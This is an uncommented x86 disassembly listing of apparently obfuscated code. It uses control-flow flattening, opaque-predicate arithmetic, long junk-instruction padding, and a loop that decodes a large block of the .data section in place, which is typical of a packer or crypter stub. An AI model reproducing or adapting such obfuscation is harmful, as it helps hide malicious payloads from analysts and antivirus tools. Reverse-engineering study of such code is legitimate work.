and edi, 0x3c4c7048
or edi, ebx
or eax, edx
not esi
xor eax, edi
or esi, eax
mov eax, esi
not eax
and esi, 0x9fbfb9cc
and eax, 0x60404633
or esi, eax
xor esi, 0x9fbfb9cc
mov esi, 0x75b5ea8
setne dh
sete bl
cmp dword [0x48f788], 0xa
mov bh, dh
setge al
setl ah
inc bh
mov dl, bh
and al, bl
and dl, dh
xor dl, 1
or dl, dh
and dh, ah
xor dl, 1
or al, dh
or dl, bh
xor al, 1
xor dl, ah
or ah, bl
mov dh, ah
xor dh, al
or al, ah
mov ah, dl
xor al, 1
or al, dh
xor ah, al
mov dh, al
and al, dl
and ah, dl
not dl
not dh
and dh, dl
or al, dh
mov edx, 0x4b59fc3e
or al, ah
test al, 1
mov eax, 0x80fe87b4
cmovne eax, edx
mov edx, 0x80fe87b4
cmovne edx, esi
mov esi, 0x58c900f
nop dword [eax]
cmp esi, 0x58c900e
jg 0x40b630
cmp esi, 0x80fe87b4
je 0x40b64f
cmp esi, 0xa2d2dd14
je 0x412339
cmp esi, 0xa397441e
jne 0x40b600
mov esi, edx
jmp 0x40b600
cmp esi, 0x58c900f
je 0x40b656
cmp esi, 0x75b5ea8
je 0x40b65d
cmp esi, 0x4b59fc3e
jne 0x40b600
mov esi, 0xa2d2dd14
jmp 0x40b600
mov esi, 0x75b5ea8
jmp 0x40b600
mov esi, 0xa397441e
jmp 0x40b600
mov esi, eax
jmp 0x40b600
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0xb86667b7
not esi
mov edx, esi
and ecx, eax
and edx, 0xb86667b7
and esi, 0x2829626c
and eax, 0xd7d69d93
or ecx, edx
or eax, esi
mov edx, ecx
not edx
and ecx, 0xb1a57e3d
and edx, 0x4e5a81c2
or ecx, edx
mov edx, ecx
xor edx, 0x1810989
xor ecx, 0xf63ce674
mov esi, ecx
and esi, 0x7c723632
and edx, 0x838dc9cd
or edx, esi
mov esi, eax
xor esi, 0x83848981
xor eax, 0x28202220
and eax, 0x7c723632
and esi, 0x838dc9cd
or esi, eax
xor esi, edx
not esi
or esi, ecx
cmp esi, 0xffffffff
mov esi, 0x29c81663
setne al
cmp dword [0x48f780], 0xa
setge dl
mov ecx, edx
or dl, al
xor cl, al
mov ah, cl
mov al, cl
xor ah, 1
and al, ah
xor al, 1
or al, ah
xor ah, dl
xor dl, 1
xor al, 1
or al, cl
xor al, dl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x44eff42f
cmovne edx, esi
test al, 1
mov eax, 0x44eff42f
cmove edx, esi
test cl, 1
jmp 0x410f94
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xcc]
mov eax, 0x5268fccc
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x4a003a83
mov edx, ecx
and edx, 0xa5908558
and ecx, 0x515da478
or esi, edx
mov edx, eax
and edx, 0x106f4024
and eax, 0xaea25b87
xor esi, 0x4a003a83
or eax, ecx
or edx, esi
xor eax, 0xaea25b87
mov esi, edx
not esi
and edx, 0xef90bfda
and esi, 0x106f4025
or edx, esi
mov esi, edx
not esi
and edx, 0xb9650f67
and esi, 0x469af098
or edx, esi
mov esi, 0xddc89ac
xor edx, 0xb9650f67
or eax, edx
xor eax, 0xffffffff
setne ch
sete ah
cmp dword [0x48f780], 0xa
mov cl, ch
setge dl
setl al
and ch, al
and dl, ah
xor cl, al
or al, ah
or dl, ch
xor al, 1
or al, dl
mov edx, eax
not dl
and dl, cl
xor cl, 1
mov ah, cl
xor ah, al
and al, cl
or al, dl
and ah, cl
mov edx, 0x7358849c
mov ecx, eax
xor cl, ah
test al, al
cmovne edx, esi
test ah, ah
mov eax, 0x7358849c
cmove edx, eax
test cl, cl
cmovne edx, esi
mov eax, edx
jmp 0x401200
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, 0xc637503
jmp 0x401200
mov ecx, dword [0x48f784]
mov edi, 0xa4e60f6b
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x1bdd95f2
and ecx, 0xe4226a0d
or eax, ecx
mov ecx, eax
xor ecx, 0x1bdd95f2
xor eax, 0xe4226a0d
mov esi, eax
mov edx, ecx
and esi, 0x49848cd3
and edx, 0xb67b732c
and ecx, 0xbad79e28
and eax, 0x452861d6
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x2aea3d10
xor eax, 0x452861d6
and esi, 0xd515c2ef
or edx, esi
xor edx, 0x636eb1c2
or eax, edx
mov edx, eax
xor edx, 0x5e9a0cab
mov ecx, eax
and ecx, 0x4c8a042a
and edx, eax
not eax
and eax, 0x12100881
or ecx, eax
mov eax, ecx
xor eax, 0xc0a0422
xor ecx, 0xb375fbd5
mov esi, ecx
and esi, 0x63a48a8d
and eax, 0x1c1a0422
or eax, esi
mov esi, edx
not esi
and edx, 0x9c5b7572
or ecx, esi
and esi, 0x63a48a8d
or edx, esi
not ecx
mov esi, 0xb51ffd3e
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x24682dad
and eax, 0xdb97d252
or ecx, eax
mov eax, ecx
xor eax, 0x2ac20104
xor ecx, 0x81099628
and ecx, 0xd139b62a
and eax, 0x2ec649d5
or eax, ecx
xor eax, 0xd139b62a
setne dl
sete ch
cmp dword [0x48f780], 0xa
setge al
setl cl
mov ah, al
xor ah, ch
xor ch, cl
or cl, dl
and ch, dl
xor cl, 1
and ah, al
xor al, dl
or cl, ch
or al, ah
mov edx, ecx
mov ah, al
xor dl, al
not ah
and al, cl
and dl, cl
xor cl, 1
and cl, ah
mov dh, dl
or al, cl
xor dh, al
test dh, 1
cmovne edi, esi
test al, al
mov eax, edi
cmovne eax, esi
test dl, dl
cmove eax, edi
jmp 0x401200
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x1f0], eax
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xfffffffe
mov eax, ecx
or eax, 1
and edx, ecx
not ecx
mov edi, eax
and edi, 0x81d222ea
mov ebx, edx
not ebx
mov esi, ecx
and esi, 0x7e2ddd14
and edx, 0x7e2ddd15
or eax, ebx
and ebx, 0x81d222ea
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x64611af5
or eax, edx
mov edx, eax
not edx
and eax, 0x574be020
and edx, 0xa8b41fdf
or eax, edx
xor eax, 0x574be020
or eax, ecx
xor eax, 0xffffffff
sete dl
setne cl
cmp dword [0x48f780], 0xa
mov ch, dl
setl al
setge ah
and ch, ah
and cl, al
xor ah, dl
or al, dl
xor ah, 1
xor al, 1
or cl, ch
or al, ah
mov edx, ecx
mov ah, al
xor dl, 1
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x3ebee161
cmovne ecx, esi
test al, al
mov esi, 0x3ebee161
jmp 0x40f48a
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xe1cccebc
and eax, 0x48123212
mov edx, ecx
and edx, 0x1e333143
or ecx, 0x6800d81
or esi, edx
and ecx, 0x97a98dad
mov edx, esi
xor esi, 0x6000101
xor edx, 0x20444000
or eax, ecx
or esi, 0x9129802c
and edx, 0x20444040
and esi, 0x97a98dad
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x26c44dc1
and ecx, 0xd93bb23e
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x40d07eb7
and eax, 0x800a6080
mov edx, ecx
and edx, 0xbf2f8148
or ecx, 0x18140018
or esi, edx
and ecx, 0x18159c78
mov edx, esi
xor esi, 0x18040008
xor edx, 0x40c00207
or eax, ecx
or esi, 0x19c60
and edx, 0x67e00307
and esi, 0x18159c78
or edx, esi
mov esi, 0x247fc53
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x7ff4031f
and ecx, 0x800bfce0
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4ce352aa
and ecx, 0xb31cad55
or ecx, eax
xor ecx, 0xb31cad55
sete dl
setne ah
cmp dword [0x48f780], 0xa
setge cl
setl al
mov ch, cl
and al, ah
and ch, dl
xor dl, cl
and dl, cl
inc cl
or al, ch
and cl, ah
or cl, ch
or cl, dl
mov edx, eax
xor cl, 1
xor dl, cl
or cl, al
xor cl, 1
mov eax, edx
or cl, dl
xor al, cl
not al
test al, 1
mov eax, 0xf00bca27
cmovne esi, eax
test cl, 1
cmovne eax, esi
test dl, dl
cmove eax, esi
jmp 0x401200
mov eax, 0x198d446b
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xfffffffe
andn edx, eax, edx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0xd097321
mov esi, eax
and esi, 0xf2f68cde
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd097321
or eax, esi
and esi, 0xf2f68cde
or ecx, esi
not eax
mov esi, 0xd33e47cf
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xe81adaf6
mov edx, eax
and edx, 0x600ad270
and ecx, eax
not eax
and eax, 0x88100886
or edx, eax
xor edx, 0x600ad270
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x7fdc8cd3
and eax, 0x8023732c
or ecx, eax
mov eax, ecx
xor eax, 0x4841405
xor ecx, 0x28312042
and eax, 0x448c9d9d
and ecx, 0xbb736262
or ecx, eax
mov eax, ecx
xor eax, 0x44840404
xor ecx, 0x92106242
and ecx, 0x9218fbdb
and eax, 0x6de70424
or eax, ecx
xor eax, 0x6de70424
sete dl
setne cl
cmp dword [0x48f780], 0xa
setl ah
mov al, ah
xor cl, ah
or al, dl
xor cl, 1
xor al, 1
or al, cl
mov ecx, edx
xor cl, ah
and dl, cl
and cl, ah
xor dl, 1
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
mov ah, al
xor ah, dl
and dl, al
and ah, al
or dl, cl
mov ecx, 0xfc962fcc
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test dl, 1
jmp 0x40e003
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
or esi, 1
mov eax, ecx
mov edi, ecx
or eax, 0x3308825c
and esi, 0x3308825d
and edi, 0xccf77da2
and ecx, 0x86c27f5e
or edi, esi
and eax, 0x3308825d
xor eax, edi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0x793d80a1
and edi, 0x793d80a1
and esi, 0x86c27f5e
or ecx, edx
not eax
or esi, edi
xor ecx, esi
mov esi, 0xb5ae0158
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x48f780], 0xa
setl al
setge cl
and dl, cl
and al, ah
or cl, ah
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x83988e7b
mov al, ah
xor al, dl
test dl, dl
mov edx, 0x83988e7b
cmovne ecx, esi
test ah, ah
cmove ecx, edx
test al, al
cmovne ecx, esi
mov eax, ecx
jmp 0x401200
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
mov eax, 0xcdf7ca60
jmp 0x401200
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xc0], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xc4], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x80]
mov dword [eax], ecx
sbb edi, 0x23
not edx
ror edi, 0x1f
or eax, 0x22
rcl ebx, 0x5c
not edi
rol edx, 0xe3
bswap esi
not eax
rcr edi, 3
bswap ebx
not edi
and ebx, 0xe4
not ebx
or esi, 0x95
rol ebx, 0xb3
or edi, 0x28
or edx, 0xd5
neg eax
ror eax, 0x93
not eax
inc esi
inc eax
rcl edi, 0xba
not esi
dec ebx
or eax, 0xf1
dec esi
sub ebx, 0x61
rcl edx, 0xd8
bswap edx
ror esi, 0xf8
neg edi
imul eax
bswap edx
neg ebx
neg esi
inc esi
rcr esi, 0xb2
bswap eax
imul edx
rcr ebx, 0x8e
dec ebx
bswap edi
not edx
imul edi
not eax
rcl edx, 0x53
and esi, 0xf6
sub edx, 0x30
bswap eax
mov ebx, 0x8b
sbb edx, 0xb
dec eax
bswap esi
imul edi
rcr edi, 0xd1
rcr ebx, 0xc0
rcr eax, 0x41
mov eax, 0x3f
or ebx, 0xf2
inc edx
bswap esi
sub ebx, 0xcd
neg esi
add ebx, 0xf9
or edi, 0x5f
rcl esi, 0x43
and edx, 0x11
imul edx
and edx, 0xa2
mov ebx, 0x12
mov edx, 0x44
rcl ebx, 0xd1
sub esi, 0x8d
sbb eax, 0xb3
ror esi, 0x18
mov edx, 0xf6
not eax
dec edi
add edi, 0xf1
sub esi, 0x72
rol ebx, 0xb0
neg ebx
not edi
sub esi, 0x6b
rcl edx, 0xce
dec esi
and edi, 0xf
rol eax, 0x59
sub esi, 0x8f
add esi, 0xbd
ror esi, 0x7e
dec eax
rol eax, 0x4e
imul edx
imul ebx
rol edi, 0xe6
add ebx, 0xb5
or edx, 0xac
bswap edx
add edi, 0x4d
mov eax, 0x36
imul eax
bswap eax
ror edx, 0xe7
neg edi
not ebx
ror edi, 0xd3
rol eax, 0xc6
rcr edx, 0x28
rcl ebx, 0x98
sub edi, 0x9c
inc edi
dec esi
not eax
rcl esi, 0x12
neg esi
neg esi
or edi, 0x85
imul eax
add edx, 0
dec eax
bswap edi
add edx, 0x56
and edi, 0xaf
mov esi, 0x26
inc edx
or edi, 0xc1
neg edi
bswap esi
neg eax
neg edx
add ebx, 0xb2
inc edi
inc esi
sub ebx, 0xc3
imul edi
inc ebx
inc ebx
not eax
bswap edx
dec edi
sub edx, 0xb8
not ebx
mov esi, 0xf4
imul edi
mov esi, 0xfa
neg edi
dec edi
add edx, 8
inc esi
not esi
neg edi
add esi, 0x44
dec ebx
dec edx
neg ebx
add edx, 0xc5
add eax, 0xe8
not eax
rcr ebx, 0x59
dec ebx
neg edx
imul eax
not ebx
or esi, 0x2c
ror eax, 0xa1
rcl eax, 0x7d
rcl edx, 0xbd
ror ebx, 0xe4
sbb eax, 0xcd
sub edi, 0x7f
inc eax
sbb edi, 0x21
inc esi
sub ebx, 0xc2
imul edx
rcr esi, 0x44
or esi, 0x5c
not esi
sub esi, 0x49
neg edx
not eax
add edi, 0x85
imul ebx
sub edi, 0x39
sbb eax, 0xd3
rcl eax, 0x8a
bswap eax
ror ebx, 0x6a
imul edi
imul ebx
rol edi, 0xae
neg esi
imul edx
bswap edi
dec edi
inc edi
mov esi, 0xe
imul eax
bswap edx
bswap edi
imul ebx
rcr edx, 0xde
inc edi
inc edi
inc edx
inc edx
inc ebx
dec ebx
rcr ebx, 0x56
dec esi
bswap ebx
inc ebx
bswap edi
bswap eax
mov edx, 0x47
not esi
sub eax, 0x33
inc esi
inc edi
sbb ebx, 0x5e
imul edx
or eax, 0xdb
rcl esi, 0x41
imul ebx
sbb esi, 0x8f
not edx
not edx
inc ebx
dec eax
ror ebx, 0x30
rcr ebx, 0xdc
dec edx
rol edi, 0xb9
neg eax
neg esi
or edi, 0x8b
bswap esi
bswap ebx
neg esi
mov esi, 0xc4
not ebx
mov eax, 0xe1
or esi, 0xa5
sbb ebx, 0xd1
inc esi
rcr edi, 0x62
ror ebx, 4
sbb ebx, 0x68
bswap eax
rcr edx, 0x1f
rcl ebx, 0xb5
neg ebx
rcr esi, 0x1e
imul edi
add ebx, 0x3d
bswap edx
rcl edx, 0xc2
or eax, 0x6b
rcr esi, 0xff
mov edi, 0xfb
add ebx, 0x29
dec esi
bswap esi
neg eax
bswap esi
imul edx
imul esi
and ebx, 0x64
mov ebx, 0x13
not eax
ror ebx, 0xc8
bswap edi
bswap edx
neg edi
bswap esi
imul edi
mov edx, 0xf0
or eax, 0x8b
rcr edx, 0xd
and edx, 0xe6
neg eax
rol esi, 0x9a
neg ebx
not edi
or edx, 0xef
or edx, 0xdf
rcr esi, 0x30
mov eax, 6
neg esi
imul eax
dec edi
rol ebx, 0x6b
rcl ebx, 0x7f
imul edi
ror edx, 0x31
not edi
mov ebx, 0xe7
rcr edi, 0xcf
rcr ebx, 0x95
imul eax
not eax
sub eax, 0xdb
mov edx, 0x81
rcl edi, 0x1c
not edx
imul eax
and edx, 0x31
inc edx
add edx, 0xab
mov esi, 0x15
sbb edi, 0xab
dec ebx
not edx
rol eax, 0xb0
dec edi
not edx
bswap esi
add edi, 0x90
rcl ebx, 0xcd
sub esi, 0x38
sbb edi, 0x75
mov eax, 0xc2
sbb ebx, 3
ror esi, 0xcb
add esi, 0x96
bswap eax
not eax
rcr ebx, 0x2b
sub eax, 0x31
and edx, 0xa8
rcr esi, 0xcb
neg ebx
imul ebx
not esi
not ebx
add ebx, 5
dec eax
bswap edx
ror ebx, 0x1b
bswap esi
add edx, 0x2e
sub esi, 0x1e
ror eax, 0xe8
dec esi
rcr edi, 0x16
rcr ebx, 0xa7
rcr edi, 0x10
rol ebx, 0x4e
bswap edx
dec edi
bswap ebx
rcl edx, 0x11
rcl edi, 0xf9
inc edx
dec ebx
not esi
neg eax
rcr eax, 0xc2
imul ebx
imul edx
rol edi, 0xf9
rcl esi, 0x10
neg edx
not esi
neg eax
inc esi
rol ebx, 0x5d
bswap esi
rcr edi, 0xbe
sbb edx, 0x5b
and eax, 0x71
bswap ebx
sub esi, 0xaa
ror edx, 0x2d
or eax, 0xda
not edi
bswap edi
inc eax
not edx
dec edx
not edx
bswap edi
rcr ebx, 0x1d
sbb ebx, 0xc2
bswap edi
ror edx, 0x70
sub ebx, 0x73
rcl eax, 0x69
and esi, 0x7e
bswap esi
sbb ebx, 0x3d
and eax, 0x34
ror eax, 0x29
dec ebx
mov esi, 0x48
dec edi
bswap ebx
sbb edi, 0xc3
or ebx, 0xd0
bswap edx
not edx
imul esi
bswap edi
ror ebx, 0xb
inc edi
inc edx
or eax, 0x20
imul edi
sbb edx, 0x87
rcr eax, 0xca
rcl edx, 0x5b
ror eax, 0x1b
not ebx
dec edi
neg edx
sbb esi, 0x29
and edx, 0x76
dec ebx
sbb eax, 1
rcr ebx, 0x4b
or edx, 0x93
inc ebx
imul ebx
ror esi, 0xc5
ror ebx, 0x75
neg edx
inc eax
mov ebx, 0xc
inc esi
rol esi, 0x60
sub eax, 0x24
and edi, 0xa4
and edx, 0
sbb edx, 0x27
bswap edx
imul eax
neg eax
imul esi
dec ebx
rol edx, 0x60
rol edi, 0x35
inc ebx
imul esi
add edx, 0xad
or edi, 0x60
imul esi
or esi, 0xe0
dec esi
ror edx, 0x80
or edi, 0
neg ebx
or edx, 0xec
inc ebx
not edi
sbb ebx, 0x43
inc eax
bswap esi
neg edi
mov edx, 0xb1
inc edx
not eax
or edx, 0x62
dec esi
rcl edx, 0xe8
rol edx, 0xe1
or eax, 0x97
rol eax, 0xfb
mov eax, 0xb3
bswap ebx
not eax
mov ebx, 0xa5
not edx
mov eax, 0xe2
rcl edi, 0xd8
not ebx
bswap ebx
bswap ebx
rcr edi, 0xdd
ror edi, 0xad
mov edi, 0xa2
imul ebx
add esi, 0x3a
ror esi, 0x42
imul edi
sub eax, 0x2c
inc edx
ror eax, 0x88
sbb ebx, 0xf
dec edx
rcl edx, 0x75
rcr esi, 0xdb
bswap edi
sbb eax, 0x40
bswap ebx
sub ebx, 0xec
rcl ebx, 0x98
inc edi
mov edi, 0x78
sbb esi, 0x6e
bswap esi
or ebx, 0x34
rol esi, 0x8d
not edi
imul edx
inc ebx
mov ebx, 0x15
imul edi
add edi, 0x9c
sub ebx, 0x9f
imul edx
rol ebx, 0x70
or esi, 0xb
not esi
rcl edi, 0x66
neg ebx
bswap esi
sub ebx, 0xcc
bswap edx
neg ebx
dec edx
rcl edi, 0x4b
bswap ebx
add ebx, 0xc2
bswap ebx
bswap eax
add edi, 0xf3
not edi
dec eax
dec eax
dec esi
rcr edi, 0x55
dec esi
ror edi, 0x3b
ror esi, 0xda
rcr edx, 0x63
and edx, 0x9a
neg esi
sub edx, 8
ror esi, 0x52
inc edi
dec edx
dec edi
bswap eax
rcl eax, 0x76
sub eax, 0xaa
dec ebx
and edx, 0x51
not ebx
imul ebx
and eax, 0xa3
add edx, 0x55
neg eax
bswap ebx
sbb eax, 0x73
rol edi, 0xc9
add eax, 0x25
not ebx
bswap edx
dec edi
dec ebx
neg edi
rol eax, 0xd0
rol edx, 0xbb
neg esi
dec esi
inc edx
or ebx, 0xfd
not edx
add ebx, 0xe2
sbb esi, 0x5f
sbb edi, 0x5a
inc edx
dec eax
dec esi
neg edx
rcr edi, 0xbf
sub esi, 0x1a
dec edi
imul esi
bswap eax
rcr edx, 0x38
imul edx
inc esi
add edx, 7
imul edi
not ebx
sub edx, 0x64
neg edx
or ebx, 0x40
and esi, 0x1a
or ebx, 0xe4
neg ebx
bswap edi
and esi, 0xc2
rol edi, 0x42
add edi, 0x18
or edi, 0x72
mov edx, dword [ebp - 0x28]
mov dword [edx], eax
mov eax, 0x1b7bef6c
mov dword [ebp - 0x14], 0x48400
nop dword [eax + eax]
cmp eax, 0x97f3cde
je 0x412388
cmp eax, 0x24ab0311
je 0x40c85d
cmp eax, 0x1b7bef6c
jne 0x40c560
mov dword [ebp - 0x18], section..data
add edx, 0xe
mov esi, 0x4b
mov edx, 0x8c
rcl edi, 0x3d
not eax
dec esi
not eax
dec edx
neg eax
rol edx, 0xe2
not ebx
sbb edx, 0x41
rol ebx, 0x85
or edi, 0xd3
sbb edi, 0xda
dec edi
add edi, 0x88
dec eax
bswap eax
bswap edi
dec edx
sbb eax, 0x1c
rcr esi, 0xdf
rcl edi, 1
imul edx
inc edx
ror esi, 0x1c
imul edi
and ebx, 0xf3
and edx, 0x8d
sub eax, 0x72
ror ebx, 0x84
sub edx, 0xeb
rol edx, 0x72
add ebx, 0x12
dec eax
and eax, 0x28
imul ebx
ror edi, 0xa
imul edi
not ebx
sbb ebx, 0xe6
mov esi, 0x87
dec edx
not edi
not edx
and edi, 0xb3
or eax, 0x64
rcl eax, 0x3b
imul edx
rcr edi, 0x10
rcl eax, 0xd
neg ebx
bswap eax
inc eax
inc ebx
add edx, 0x34
inc ebx
sbb eax, 0x3d
sbb edi, 0xd6
sub ebx, 0x73
sbb esi, 0x84
mov ebx, 0x3d
sub eax, 0x19
ror edi, 0x49
bswap edi
inc edx
not edx
or esi, 0x1b
neg eax
add edi, 0x3d
imul edx
mov ebx, 0x33
inc esi
sub edi, 0x1b
rcr edx, 0x1c
not edx
or ebx, 0x28
and esi, 0x88
imul eax
add edi, 0x80
neg edx
rol eax, 0xca
neg edx
rcr esi, 0x70
not edi
rcr ebx, 0x7a
dec esi
or eax, 0x7d
sbb edx, 3
dec eax
imul esi
neg eax
rol ebx, 0x4e
add eax, 0x62
ror edi, 0x2f
dec edi
bswap edi
ror ebx, 0x2a
or edx, 0xa6
inc eax
mov ebx, 0x4b
mov eax, 0x3d
neg ebx
rcl esi, 0x52
rcl eax, 0x14
neg eax
neg eax
inc esi
not eax
dec edx
or ebx, 0x7f
and eax, 0xf8
inc eax
dec edx
mov ebx, 0x7a
not edx
bswap esi
neg edx
sbb edx, 0x47
add ebx, 0x3b
dec eax
sbb edx, 0x4c
or eax, 0xae
bswap eax
bswap esi
bswap ebx
dec esi
inc esi
mov ebx, 0x64
neg edx
add esi, 0x17
imul esi
rol eax, 0xfd
dec esi
add edx, 0xfc
sub ebx, 0x60
add ebx, 0xc9
mov edx, 0x19
sub esi, 0x2b
dec esi
rol eax, 0x7a
sub esi, 0x39
rcr edi, 0xe0
dec esi
dec edx
dec eax
not esi
bswap eax
mov esi, 0xa
not ebx
not ebx
bswap eax
inc ebx
inc ebx
not ebx
neg esi
add eax, 0x8b
ror edx, 0x5c
sub esi, 0xa7
inc edi
neg eax
rcr esi, 0x11
not esi
dec edx
rcr esi, 0x98
inc edi
dec ebx
rcl eax, 0x9c
not eax
neg edi
sbb edx, 0x92
sub edx, 0x3b
neg esi
not ebx
bswap eax
neg eax
not esi
sbb esi, 0x95
not ebx
mov ebx, 0xef
dec edi
imul eax
not edi
neg edx
rcl ebx, 0xa6
imul ebx
add eax, 0xf4
rcr eax, 0x74
sub edx, 0x30
bswap esi
imul esi
dec esi
rol esi, 0xec
mov eax, 0xf5
rcr edi, 0x9b
not eax
not edx
bswap ebx
sbb eax, 0xa2
dec edi
not esi
dec edx
mov eax, 0x16
dec eax
add edx, 0x41
and ebx, 0x7e
rol edi, 0x43
inc edx
or edi, 0x24
sbb eax, 0x41
bswap edx
mov edi, 0xea
mov eax, 0x15
sbb ebx, 0xb3
imul edi
rcl esi, 0x4d
or edx, 0xbe
or esi, 0xb7
dec edx
sub edx, 0xb0
not eax
neg ebx
dec edi
ror ebx, 0x58
imul ebx
neg eax
sbb esi, 0xc3
inc esi
ror edi, 0xa0
or edx, 0x16
rcr eax, 0xe
sub ebx, 0x42
inc eax
dec esi
ror esi, 0x33
not edx
or ebx, 0x50
and ebx, 0x77
not ebx
bswap edi
mov eax, 0xd6
rol esi, 0x85
add eax, 0xc6
and esi, 0xa5
not edi
ror eax, 0xd8
bswap eax
ror edx, 0x12
imul eax
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
not byte [edi]
add byte [edi], 0x74
sub byte [edi], 0x62
imul byte [edi]
inc edi
loop 0x40c846
mov eax, 0x24ab0311
jmp 0x40c560
bswap ebx
bswap eax
neg edi
neg ebx
sub edx, 0x26
rcr edx, 0x8e
rcl edx, 0x20
dec edi
dec eax
bswap edx
add esi, 0x64
sbb edx, 0xb5
add edi, 0xc9
rcl ebx, 0xc6
or edi, 0xb9
add ebx, 0x72
neg esi
rcr edx, 0x90
sub edx, 0x73
mov eax, 0x92
dec edi
not esi
sub eax, 0xb7
inc edx
and edi, 0x29
dec eax
rcr edx, 0x87
neg edx
neg edx
mov ebx, 0xe6
rol edx, 0xc6
rcl esi, 0x3f
not esi
neg eax
dec esi
rol ebx, 0x5b
inc edx
rcr edi, 0x4d
ror edi, 0x15
rcr edi, 0x9d
rcl esi, 0xfd
bswap eax
rcl ebx, 0xee
dec ebx
dec ebx
imul edx
neg edi
rcl edx, 0xeb
sub eax, 0xb6
dec eax
not ebx
or eax, 0x96
bswap esi
mov ebx, 0x40
imul esi
rcr edi, 0x16
neg esi
sub ebx, 0xb0
add esi, 0xa0
rcr esi, 0xed
inc edi
inc esi
rcr edi, 0x44
neg esi
mov edx, 0x8d
bswap ebx
inc ebx
rcl ebx, 0xd8
or eax, 0xc6
inc esi
inc edi
not esi
neg esi
not edi
